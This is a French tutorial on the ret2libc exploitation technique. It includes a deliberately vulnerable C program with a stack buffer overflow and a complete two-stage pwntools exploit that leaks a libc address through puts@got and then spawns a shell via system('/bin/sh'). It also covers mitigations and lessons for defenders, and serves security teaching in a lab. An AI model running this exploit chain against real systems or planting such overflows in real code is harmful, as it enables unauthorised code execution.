Retourner dans la libc : la technique ret2libc
NX est actif et le binaire est minuscule, mais la libc est mappée et pleine de code utile. Fuitez sa base malgré l'ASLR, puis retournez dans system("/bin/sh").
Ceci est le troisième tutoriel de la section Techniques d'exploitation. Le guide ROP construisait un appel système execve à la main à partir de gadgets. Il existe souvent un chemin plus court : le programme est lié dynamiquement, donc la libc est mappée dans le processus — et la libc contient à la fois system() et la chaîne "/bin/sh". Retourner directement dans system("/bin/sh"), c'est ret2libc.
Le hic, c'est l'ASLR : la base de la libc est aléatoire, il faut donc la fuiter avant de pouvoir l'utiliser. Cette structure en deux étapes — fuiter, puis exploiter — est le motif le plus important de ce guide, et il revient partout dans l'exploitation moderne.
Comme toujours, nous construisons la cible nous-mêmes et travaillons dans un labo jetable. Voir les règles du labo.
La cible
/* vuln.c — lié dynamiquement, NX activé, canari désactivé, pas de PIE. */
#include <stdio.h>
#include <unistd.h>
void vuln(void) {
char buf[64];
read(0, buf, 256); /* le bug : 256 octets dans 64 */
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c # lié dynamiquement
checksec montre NX activé et, surtout, pas de PIE sur l'exécutable lui-même — les PLT/GOT et les gadgets propres au binaire sont donc à des adresses fixes. Seule la libc bouge.
NX: NX enabled
PIE: No PIE (0x400000)
Le décalage jusqu'à l'adresse de retour est de 72, trouvé avec la même méthode cyclique que précédemment.
Étape 1 — fuiter une adresse de la libc
Le plan : utiliser une courte chaîne ROP pour appeler puts(puts@got) — cela affiche l'adresse d'exécution stockée dans la GOT pour puts, qui est une adresse à l'intérieur de la libc chargée. Puis retourner dans main pour que le programme relise notre entrée une seconde fois, pour l'étape 2.
# leak.py (étape 1 de l'exploit)
from pwn import *
context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # la libc que ce binaire exécute
rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
payload = b"A" * 72
payload += p64(pop_rdi) + p64(elf.got["puts"]) # rdi = &puts@got
payload += p64(elf.plt["puts"]) # appelle puts(cette adresse)
payload += p64(elf.symbols["main"]) # retourne dans main pour l'étape 2
io = process("./vuln")
io.send(payload)
leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"] # retrouve la base de la libc
log.success("fuite puts@libc : %#x", leak)
log.success("base libc : %#x", libc.address)
libc.address = leak - libc.symbols["puts"] est toute l'astuce : la fuite vaut base + décalage_de_puts, et pwntools connaît décalage_de_puts pour cette libc, donc la soustraction donne la base. Une fois libc.address défini, pwntools résout tous les autres symboles de la libc à leur adresse d'exécution correcte.
Étape 2 — retourner dans system("/bin/sh")
Le programme est maintenant revenu au début de main, en attente d'entrée à nouveau. Cette fois, nous envoyons la vraie charge utile :
# ...suite de leak.py
binsh = next(libc.search(b"/bin/sh\x00")) # adresse de la chaîne dans la libc
system = libc.symbols["system"]
ret = rop.find_gadget(["ret"])[0] # alignement de pile sur 16 octets
payload2 = b"A" * 72
payload2 += p64(ret) # aligne la pile (movaps)
payload2 += p64(pop_rdi) + p64(binsh) # rdi = "/bin/sh"
payload2 += p64(system) # system("/bin/sh")
io.send(payload2)
io.interactive()
$ python3 leak.py
[+] fuite puts@libc : 0x7f3c9e0a4ed0
[+] base libc : 0x7f3c9e01f000
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)
Le ret nu avant l'appel corrige le même problème d'alignement sur 16 octets qui touche chaque appel de libc en x86-64. Sans lui, system a tendance à planter dans un movaps.
Le faire contre une libc distante/inconnue
En local, vous connaissez la libc. À distance, non — vous fuitez une ou deux adresses de fonctions et identifiez la version à partir d'une base de données de libc (les 12 bits de poids faible de l'adresse d'une fonction sont fixés par l'alignement de page, ce qui restreint vite les candidates). Puis vous utilisez les décalages de cette libc. Utiliser la mauvaise version est la raison classique pour laquelle la base calculée est fausse.
Réactiver les mitigations
PIE sur l'exécutable
Avec -no-pie, les thunks PLT et le gadget pop rdi étaient à des adresses fixes, si bien que l'étape 1 pouvait s'exécuter sans aucune fuite. Recompilez avec -pie et même les adresses des gadgets de la chaîne ROP deviennent aléatoires — il vous faut désormais une fuite avant de pouvoir fuiter, ce qui implique généralement un second bug ou une astuce d'écrasement partiel. Le PIE transforme un exploit à un bug en un problème à deux bugs.
Pile fantôme / CET
system est atteint par un ret depuis notre pile corrompue. Une pile fantôme (-fcf-protection=full, Intel CET) conserve la vraie adresse de retour et détecte l'incohérence sur ce ret, avortant avant que system ne s'exécute.
Full RELRO n'est pas le correctif ici
ret2libc ne touche pas la GOT, donc RELRO ne l'arrête pas (c'est la technique du guide suivant). Cela vaut la peine d'être intériorisé : les mitigations sont ciblées, et « nous avons activé RELRO » ne dit rien sur ret2libc.
| Mitigation | Effet sur ret2libc |
|---|---|
| Canari de pile | Arrête l'écrasement avant que l'une ou l'autre étape ne s'exécute |
| PIE + ASLR | Randomise aussi les gadgets ; nécessite une fuite avant la fuite |
| Pile fantôme / CET | Avorte sur le ret vers system |
| Full RELRO | Aucun effet — la GOT n'est jamais écrite |
Ce que cela enseigne à un défenseur
- La fuite est la clé de voûte. La plupart des exploits modernes sont « fuiter, puis agir ». Un bug de divulgation d'information que vous jugeriez peu grave isolément est souvent l'élément déclencheur d'un bug de corruption mémoire jugé critique. Triez-les ensemble — voir lire les rapports de crash.
- Livrez du PIE. Contre un binaire
-no-pie, l'étape 1 n'a eu besoin d'aucune fuite. Le PIE est ce qui force l'attaquant à trouver d'abord une primitive de divulgation. checksecpar binaire, bibliothèques comprises. Un exécutable principal durci qui charge une bibliothèque auxiliaire-no-piesans canari hérite du maillon le plus faible.
Points clés
- ret2libc retourne dans une seule fonction de la libc — généralement
system("/bin/sh")— au lieu de construire un appel système à la main. - L'ASLR impose un exploit en deux étapes : fuiter une adresse résolue de la libc, calculer la base, puis agir.
libc.address = leak - libc.symbols[fn]retrouve la base ; faites correspondre la version exacte de la libc.- Le PIE et les piles fantômes sont les mitigations qui mordent ici ; RELRO non, car ret2libc ne touche jamais la GOT.
Ensuite : détourner la GOT, où nous y écrivons — et où Full RELRO compte enfin.